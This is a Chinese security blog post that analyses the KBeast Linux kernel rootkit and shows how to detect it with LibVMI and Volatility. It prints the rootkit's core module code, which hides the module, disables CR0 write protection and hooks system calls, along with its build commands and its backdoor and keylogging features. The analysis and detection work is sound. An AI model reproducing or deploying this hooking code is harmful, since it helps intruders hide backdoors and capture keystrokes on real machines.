作者:Diting0x
CSysSec注 : 本文来自Diting0x 的个人博客 ,该文深入分析了KBeast的原理以及源代码,并给出了检测KBeast实验方法,KBeast是学习内核层恶意代码不错的样本。转载本文请务必注明 ,文章出处:《内核层恶意代码KBeast分析与检测 》与作者信息:Diting0x
0x01 全文环境
0X02 Kbeast 特性
0X03 系统调用劫持基础
0X04 Kbeast 使用
0X05 Kbeast 核心
0X06 Libvmi and Volatility检测KBeast
0x01 全文环境 Host Ubuntu 12.04 + Guest Ubuntu 10.04/11.04 + Libvmi + Volatility
其中Kbeast运行在Guest Ubuntu 10.04/11.04中,libvmi与volatility运行在Host Ubuntu12.04中。
0X02 Kbeast 特性 以下是Kbeast实现的功能:
隐藏可加载模块(LKM)
隐藏文件/目录
隐藏进程(ps,pstree,top,lsof)
隐藏套接字和网络连接(netstat,lsof)
记录键盘操作捕获用户行为
反杀死进程
反移除文件
反删除可加载模块
root提权后门
远程绑定后门
0X03 系统调用劫持基础 上述的Kbeast特性都是通过系统调用劫持实现的。在kernel 2.6.*之前,系统调用表”sys_call_table”是可以直接导出引用的,如:
extern void *sys_call_table[];
sys_call_table[__NR_syscall] = pointer
而在kernel 2.6.* 之后禁用了这种特性,并且其所在页是写保护的。然而,系统调用表依然在内存中,如果知道其所在内存地址,依然可以通过指针访问。内核中的符号表System.map (一般在/boot/目录下)记录了所有的符号及其地址,当然也包括系统调用表”sys_call_table”. 以Ubuntu 10.04为例,执行:
grep sys_call_table /boot/System.map-2.6.32-21-generic
显示的结果为
c0592150 R sys_call_table
c0592150指的是线性地址,R说明此地址所在的页面Read-only。目前的CPU都会将CR0控制寄存器的第16位(wp-bit)置1,将页面开启保护模式,这时CPU处于”write-proteed”模式,否则处于”read/write”模式。CR0寄存器的位描述可参考CR0 .
如果能将WP位置0,就可以访问内存页面,读写系统调用表了。 下面这行代码便可实现此功能:
write_cr0 (read_cr0 () & (~ 0x10000));
0X04 Kbeast 使用 下载Kbeast .
tar xzf ipsecs-kbeast-v1.tar.gz
cd kbeast-v1
./setup build 1
具体可参考/kbeast-v1/setup 文件,参数1表示默认为kernel 2.6.32。测试过ubuntu11.04 内核为2.6.38,setup出错,作者声称: Be kind to note that the beast has been tested in, but not limited to, kernel 2.6.9, 2.6.16, 2.6.18, 2.6.32, 2.6.35 (i386 or x86_64),理论上只要修改setup相关参数以及ipsecs-kbeast-vl.c文件中的系统调用表的地址即可适应其它版本内核,未测试。
成功编译后,kbeast就会加载到内核空间,rootkit安装在/usr/h4x 路径下,生成/usr/h4x /_h4x_bd进程,以及acctlog 记录文件, 路径以及文件名等参数可以在config.h文件中配置。当然在目标机器guest中无法找到相关文件,因为已经被隐藏了。下文会利用volatility检测到相关进程的路径。
0X05 Kbeast 核心 Kbeast以LKM的方式存在,以下是其核心代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
static int init (void )
{
list_del_init(&__this_module.list );
struct tcp_seq_afinfo *my_afinfo = NULL ;
struct proc_dir_entry *my_dir_entry = init_net .proc_net ->subdir ;
write_cr0 (read_cr0 () & (~ 0x10000 ));
if (_KEYLOG_){
o_read=(void *)sys_call_table[__NR_read];
sys_call_table[__NR_read]=h4x_read;
}
o_write=(void *)sys_call_table[__NR_write];
sys_call_table[__NR_write]=h4x_write;
#if defined(__x86_64__)
o_getdents=sys_call_table [__NR_getdents];
sys_call_table [__NR_getdents]=h4x_getdents;
#elif defined(__i386__)
o_getdents64=sys_call_table [__NR_getdents64];
sys_call_table [__NR_getdents64]=h4x_getdents64;
#else
#error Unsupported architecture
#endif
o_unlink = sys_call_table [__NR_unlink];
sys_call_table [__NR_unlink] = h4x_unlink;
o_rmdir = sys_call_table [__NR_rmdir];
sys_call_table [__NR_rmdir] = h4x_rmdir;
o_unlinkat = sys_call_table [__NR_unlinkat];
sys_call_table [__NR_unlinkat] = h4x_unlinkat;
o_rename = sys_call_table [__NR_rename];
sys_call_table [__NR_rename] = h4x_rename;
o_open = sys_call_table [__NR_open];
sys_call_table [__NR_open] = h4x_open;
o_kill = sys_call_table [__NR_kill];
sys_call_table [__NR_kill] = h4x_kill;
o_delete_module = sys_call_table [__NR_delete_module];
sys_call_table [__NR_delete_module] = h4x_delete_module;
write_cr0 (read_cr0 () | 0x10000 );
while (strcmp (my_dir_entry->name, "tcp" ))
my_dir_entry = my_dir_entry->next;
if ((my_afinfo = (struct tcp_seq_afinfo*)my_dir_entry->data))
{
old_tcp4_seq_show = my_afinfo->seq_ops.show;
my_afinfo->seq_ops.show = h4x_tcp4_seq_show;
}
return 0 ;
}
首先将模块隐藏,取消CR0写保护,找到系统调用表地址,将其处理函数换成自己的函数,分别对应其中的特性。 如:
1
2
3
4
5
6
7
8
9
10
sys_call_table[__NR_read]=h4x_read;
sys_call_table[__NR_write]=h4x_write;
sys_call_table [__NR_getdents]=h4x_getdents;
sys_call_table [__NR_unlink] = h4x_unlink;
sys_call_table [__NR_rmdir] = h4x_rmdir;
sys_call_table [__NR_unlinkat] = h4x_unlinkat;
sys_call_table [__NR_rename] = h4x_rename;
sys_call_table [__NR_open] = h4x_open;
sys_call_table [__NR_kill] = h4x_kill;
sys_call_table [__NR_delete_module] = h4x_delete_module;
0X06 Libvmi and Volatility检测KBeast 检测之前,先按照 这篇 文章搭好环境。
以下是分别利用volatility的linux_psaux、linux_pslist、linux_pstree、linux_lsof、linux_proc_maps、linux_check_modules插件检测出来的结果,能检测出其隐藏的进程、模块、进程间的关系以及所在路径。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_psaux | grep _h4x_bd
Pid Uid Gid Arguments
2316 2 2 ./_h4x_bd
python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslist | grep _h4x_bd
Offset Name Pid Uid Gid DTB Start Time
0xf579e680 _h4x_bd 2316 2 2 0x357c5000 2016 -04 -01 21 :41 :29 UTC+0000
python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_pstree | grep _h4x_bd
Name Pid Uid
._h4x_bd 2316 2
python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_pslsof | grep _h4x_bd
Offset Name Pid FD Path
0x00000000f579e680 _h4x_bd 2316 1 /dev/pts/0
0x00000000f579e680 _h4x_bd 2316 2 /dev/pts/0
0x00000000f579e680 _h4x_bd 2316 3 socket:[11708 ]
python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_proc_maps | grep _h4x_bd
linux_proc_maps
Offset Pid Name Start End
Flags Pgoff Major Minor Inode File Path
0x00000000f579e680 2316 _h4x_bd 0x0000000000adb000 0x0000000000adc000 --- 0x153000 251 1 134375 /lib/tls/i686/cmov/libc-2.11 .1 .so
0x00000000f579e680 2316 _h4x_bd 0x0000000000adc000 0x0000000000ade000 r-- 0x153000 251 1 134375 /lib/tls/i686/cmov/libc-2.11 .1 .so
0x00000000f579e680 2316 _h4x_bd 0x0000000000ade000 0x0000000000adf000 rw- 0x155000 251 1 134375 /lib/tls/i686/cmov/libc-2.11 .1 .so
0x00000000f579e680 2316 _h4x_bd 0x0000000000adf000 0x0000000000ae2000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x0000000008048000 0x0000000008049000 r-x 0x0 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x0000000008049000 0x000000000804a000 r-- 0x1000 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x000000000804a000 0x000000000804b000 rw- 0x2000 251 1 136169 /usr/_h4x_/_h4x_bd
0x00000000f579e680 2316 _h4x_bd 0x00000000b7875000 0x00000000b7876000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x00000000b7884000 0x00000000b7886000 rw- 0x0 0 0 0
0x00000000f579e680 2316 _h4x_bd 0x00000000bfd84000 0x00000000bfd99000 rw- 0x0 0 0 0 [stack]
python vol.py -l vmi://1004 desktop32 --profile=Linuxubuntu1004desktopx86 linux_check_moudles | grep _h4x_bd
Module Address Module Name
0xf805dae0 ipsecs_kbeast_v1
当要清除module时,执行./setup clean. 但仍然会残留一些文件,无法删除。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Checking for make : /usr/bin/make
Removing Kernel Module
Removing Compiled Kernel Module
Stoping Network Daemon
Removing Backdoor File
rm: cannot remove `./_h4x_bd': Permission denied
Removing Installation Directory
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.o.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.o': Permission denied
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.ko.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.ko': Permission denied
rm: cannot remove `/usr/_h4x_/.tmp_versions/ipsecs-kbeast-v1.mod': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.c': Permission denied
rm: cannot remove `/usr/_h4x_/.ipsecs-kbeast-v1.mod.o.cmd': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.c': Permission denied
rm: cannot remove `/usr/_h4x_/bd-ipsecs-kbeast-v1.c': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.mod.o': Permission denied
rm: cannot remove `/usr/_h4x_/ipsecs-kbeast-v1.cc1': Permission denied
Reference http://volatility-labs.blogspot.com/2012/09/movp-15-kbeast-rootkit-detecting-hidden.html
http://cradpdf.drdc-rddc.gc.ca/PDFS/unc199/p801869_A1b.pdf
https://memset.wordpress.com/2010/12/03/syscall-hijacking-kernel-2-6-systems/
http://dddotcom.github.io/2015/01/10/Kbeast-Source-Code-Analysis/
http://beneathclevel.blogspot.com/2013/06/a-linux-rootkit-tutorial-introduction.html
转载本文请务必注明 ,文章出处:《内核层恶意代码KBeast分析与检测 》与作者信息:Diting0x